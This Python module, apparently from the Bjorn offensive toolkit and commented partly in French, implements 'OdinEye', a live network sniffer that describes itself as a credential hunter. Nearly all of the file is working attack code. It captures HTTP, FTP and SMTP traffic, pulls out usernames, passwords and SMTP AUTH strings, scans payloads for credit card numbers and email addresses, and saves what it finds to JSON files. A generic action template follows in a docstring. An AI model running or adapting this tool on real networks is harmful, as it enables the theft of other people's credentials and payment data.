# --- AJOUTS EN HAUT DU FICHIER --------------------------------------------- import os try: import psutil except Exception: psutil = None def _list_net_ifaces() -> list[str]: names = set() # 1) psutil si dispo if psutil: try: names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo") except Exception: pass # 2) fallback kernel try: for n in os.listdir("/sys/class/net"): if n and n != "lo": names.add(n) except Exception: pass out = ["auto"] + sorted(names) # sécurité: pas de doublons seen, unique = set(), [] for x in out: if x not in seen: unique.append(x); seen.add(x) return unique # Hook appelée par le backend avant affichage UI / sync DB def compute_dynamic_b_args(base: dict) -> dict: """ Compute dynamic arguments at runtime. Called by the web interface to populate dropdowns, etc. """ d = dict(base or {}) # Example: Dynamic interface list if "interface" in d: import psutil interfaces = ["auto"] try: for ifname in psutil.net_if_addrs().keys(): if ifname != "lo": interfaces.append(ifname) except: interfaces.extend(["wlan0", "eth0"]) d["interface"]["choices"] = interfaces return d # --- MÉTADONNÉES UI SUPPLÉMENTAIRES ----------------------------------------- # Exemples d’arguments (affichage frontend; aussi persisté en DB via sync_actions) b_examples = [ {"interface": "auto", "filter": "http or ftp", "timeout": 120, "max_packets": 5000, "save_credentials": True}, {"interface": "wlan0", "filter": "(http or smtp) and not broadcast", "timeout": 300, "max_packets": 10000}, ] # Lien MD (peut être un chemin local servi par votre frontend, ou un http(s)) # Exemple: un README markdown stocké dans votre repo b_docs_url = "docs/actions/OdinEye.md" # --- Métadonnées d'action (consommées par shared.generate_actions_json) ----- b_class = "OdinEye" b_module = "odin_eye" # nom du fichier sans .py b_enabled = 0 b_action = "normal" b_category = "recon" b_name = "Odin Eye" b_description = ( "Network traffic analyzer for capturing and analyzing data patterns and credentials.\n" "Requires: tshark (sudo apt install tshark) + pyshark (pip install pyshark)." ) b_author = "Fabien / Cyberviking" b_version = "1.0.0" b_icon = "OdinEye.png" # Schéma d'arguments pour UI dynamique (clé == nom du flag sans '--') b_args = { "interface": { "type": "select", "label": "Network Interface", "choices": [], # <- Laisser vide: rempli dynamiquement par compute_dynamic_b_args(...) "default": "auto", "help": "Interface à écouter. 'auto' tente de détecter l'interface par défaut." }, "filter": {"type": "text", "label": "BPF Filter", "default": "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast"}, "output": {"type": "text", "label": "Output dir", "default": "/home/bjorn/Bjorn/data/output/packets"}, "timeout": {"type": "number", "label": "Timeout (s)", "min": 10, "max": 36000, "step": 1, "default": 300}, "max_packets": {"type": "number", "label": "Max packets", "min": 100, "max": 2000000, "step": 100, "default": 10000}, } # ----------------- Code d'analyse (ton code existant) ----------------------- import os, json, pyshark, argparse, logging, re, threading, signal from datetime import datetime from collections import defaultdict logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/packets" DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "odin_eye_settings.json") DEFAULT_FILTER = "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast" CREDENTIAL_PATTERNS = { 'http': { 'username': [r'username=([^&]+)', r'user=([^&]+)', r'login=([^&]+)'], 'password': [r'password=([^&]+)', r'pass=([^&]+)'] }, 'ftp': { 'username': [r'USER\s+(.+)', r'USERNAME\s+(.+)'], 'password': [r'PASS\s+(.+)'] }, 'smtp': { 'auth': [r'AUTH\s+PLAIN\s+(.+)', r'AUTH\s+LOGIN\s+(.+)'] } } class OdinEye: def __init__(self, interface, capture_filter=DEFAULT_FILTER, output_dir=DEFAULT_OUTPUT_DIR, timeout=300, max_packets=10000): self.interface = interface self.capture_filter = capture_filter self.output_dir = output_dir self.timeout = timeout self.max_packets = max_packets self.capture = None self.stop_capture = threading.Event() self.statistics = defaultdict(int) self.credentials = [] self.interesting_patterns = [] self.lock = threading.Lock() def process_packet(self, packet): try: with self.lock: self.statistics['total_packets'] += 1 if hasattr(packet, 'highest_layer'): self.statistics[packet.highest_layer] += 1 if hasattr(packet, 'tcp'): self.analyze_tcp_packet(packet) except Exception as e: logging.error(f"Error processing packet: {e}") def analyze_tcp_packet(self, packet): try: if hasattr(packet, 'http'): self.analyze_http_packet(packet) elif hasattr(packet, 'ftp'): self.analyze_ftp_packet(packet) elif hasattr(packet, 'smtp'): self.analyze_smtp_packet(packet) if hasattr(packet.tcp, 'payload'): self.analyze_payload(packet.tcp.payload) except Exception as e: logging.error(f"Error analyzing TCP packet: {e}") def analyze_http_packet(self, packet): try: if hasattr(packet.http, 'request_uri'): for field in ['username', 'password']: for pattern in CREDENTIAL_PATTERNS['http'][field]: matches = re.findall(pattern, packet.http.request_uri) if matches: with self.lock: self.credentials.append({ 'protocol': 'HTTP', 'type': field, 'value': matches[0], 'timestamp': datetime.now().isoformat(), 'source': packet.ip.src if hasattr(packet, 'ip') else None }) except Exception as e: logging.error(f"Error analyzing HTTP packet: {e}") def analyze_ftp_packet(self, packet): try: if hasattr(packet.ftp, 'request_command'): cmd = packet.ftp.request_command.upper() if cmd in ['USER', 'PASS']: with self.lock: self.credentials.append({ 'protocol': 'FTP', 'type': 'username' if cmd == 'USER' else 'password', 'value': packet.ftp.request_arg, 'timestamp': datetime.now().isoformat(), 'source': packet.ip.src if hasattr(packet, 'ip') else None }) except Exception as e: logging.error(f"Error analyzing FTP packet: {e}") def analyze_smtp_packet(self, packet): try: if hasattr(packet.smtp, 'command_line'): for pattern in CREDENTIAL_PATTERNS['smtp']['auth']: matches = re.findall(pattern, packet.smtp.command_line) if matches: with self.lock: self.credentials.append({ 'protocol': 'SMTP', 'type': 'auth', 'value': matches[0], 'timestamp': datetime.now().isoformat(), 'source': packet.ip.src if hasattr(packet, 'ip') else None }) except Exception as e: logging.error(f"Error analyzing SMTP packet: {e}") def analyze_payload(self, payload): patterns = { 'email': r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', 'credit_card': r'\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b', 'ip_address': r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b' } for name, pattern in patterns.items(): matches = re.findall(pattern, payload) if matches: with self.lock: self.interesting_patterns.append({ 'type': name, 'value': matches[0], 'timestamp': datetime.now().isoformat() }) def save_results(self): try: os.makedirs(self.output_dir, exist_ok=True) timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") stats_file = os.path.join(self.output_dir, f"capture_stats_{timestamp}.json") with open(stats_file, 'w') as f: json.dump(dict(self.statistics), f, indent=4) if self.credentials: creds_file = os.path.join(self.output_dir, f"credentials_{timestamp}.json") with open(creds_file, 'w') as f: json.dump(self.credentials, f, indent=4) if self.interesting_patterns: patterns_file = os.path.join(self.output_dir, f"patterns_{timestamp}.json") with open(patterns_file, 'w') as f: json.dump(self.interesting_patterns, f, indent=4) logging.info(f"Results saved to {self.output_dir}") except Exception as e: logging.error(f"Failed to save results: {e}") def execute(self): try: # Timeout thread (inchangé) ... if self.timeout and self.timeout > 0: def _stop_after(): self.stop_capture.wait(self.timeout) self.stop_capture.set() threading.Thread(target=_stop_after, daemon=True).start() logging.info(...) self.capture = pyshark.LiveCapture(interface=self.interface, bpf_filter=self.capture_filter) # Interruption douce — SKIP si on tourne en mode importlib (thread) if os.environ.get("BJORN_EMBEDDED") != "1": try: signal.signal(signal.SIGINT, self.handle_interrupt) signal.signal(signal.SIGTERM, self.handle_interrupt) except Exception: # Ex: ValueError si pas dans le main thread pass for packet in self.capture.sniff_continuously(): if self.stop_capture.is_set() or self.statistics['total_packets'] >= self.max_packets: break self.process_packet(packet) except Exception as e: logging.error(f"Capture error: {e}") finally: self.cleanup() def handle_interrupt(self, signum, frame): self.stop_capture.set() def cleanup(self): if self.capture: self.capture.close() self.save_results() logging.info("Capture completed") def save_settings(interface, capture_filter, output_dir, timeout, max_packets): try: os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) settings = { "interface": interface, "capture_filter": capture_filter, "output_dir": output_dir, "timeout": timeout, "max_packets": max_packets } with open(SETTINGS_FILE, 'w') as f: json.dump(settings, f) logging.info(f"Settings saved to {SETTINGS_FILE}") except Exception as e: logging.error(f"Failed to save settings: {e}") def load_settings(): if os.path.exists(SETTINGS_FILE): try: with open(SETTINGS_FILE, 'r') as f: return json.load(f) except Exception as e: logging.error(f"Failed to load settings: {e}") return {} def main(): parser = argparse.ArgumentParser(description="OdinEye: network traffic analyzer & credential hunter") parser.add_argument("-i", "--interface", required=False, help="Network interface to monitor") parser.add_argument("-f", "--filter", default=DEFAULT_FILTER, help="BPF capture filter") parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory") parser.add_argument("-t", "--timeout", type=int, default=300, help="Capture timeout in seconds") parser.add_argument("-m", "--max-packets", type=int, default=10000, help="Maximum packets to capture") args = parser.parse_args() settings = load_settings() interface = args.interface or settings.get("interface") capture_filter = args.filter or settings.get("capture_filter", DEFAULT_FILTER) output_dir = args.output or settings.get("output_dir", DEFAULT_OUTPUT_DIR) timeout = args.timeout or settings.get("timeout", 300) max_packets = args.max_packets or settings.get("max_packets", 10000) if not interface: logging.error("Interface is required. Use -i or set it in settings") return save_settings(interface, capture_filter, output_dir, timeout, max_packets) analyzer = OdinEye(interface, capture_filter, output_dir, timeout, max_packets) analyzer.execute() if __name__ == "__main__": main() """ # action_template.py # Example template for a Bjorn action with Neo launcher support # UI Metadata b_class = "MyAction" b_module = "my_action" b_enabled = 1 b_action = "normal" # normal, aggressive, stealth b_description = "Description of what this action does" # Arguments schema for UI b_args = { "target": { "type": "text", "label": "Target IP/Host", "default": "192.168.1.1", "placeholder": "Enter target", "help": "The target to scan" }, "port": { "type": "number", "label": "Port", "default": 80, "min": 1, "max": 65535 }, "protocol": { "type": "select", "label": "Protocol", "choices": ["tcp", "udp"], "default": "tcp" }, "verbose": { "type": "checkbox", "label": "Verbose output", "default": False }, "timeout": { "type": "slider", "label": "Timeout (seconds)", "min": 10, "max": 300, "step": 10, "default": 60 } } def compute_dynamic_b_args(base: dict) -> dict: # Compute dynamic values at runtime return base import argparse import sys def main(): parser = argparse.ArgumentParser(description=b_description) parser.add_argument('--target', default=b_args['target']['default']) parser.add_argument('--port', type=int, default=b_args['port']['default']) parser.add_argument('--protocol', choices=b_args['protocol']['choices'], default=b_args['protocol']['default']) parser.add_argument('--verbose', action='store_true') parser.add_argument('--timeout', type=int, default=b_args['timeout']['default']) args = parser.parse_args() # Your action logic here print(f"Starting action with target: {args.target}") # ... if __name__ == "__main__": main() """